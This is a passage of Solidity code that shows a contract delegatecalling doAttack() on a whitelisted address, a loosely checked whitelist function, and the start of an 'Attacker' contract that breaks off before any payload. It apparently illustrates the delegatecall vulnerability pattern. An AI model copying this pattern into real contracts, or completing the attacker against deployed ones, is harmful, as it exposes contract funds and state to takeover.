.
_contract.delegatecall(abi.encodeWithSignature("doAttack()")); } function addToWhitelist(address _contract) public { require(whitelist.length == 0 || whitelist[whitelist.length - 1] != _contract); whitelist.push(_contract); } } contract Attacker { function doAttack() public { // Construct malicious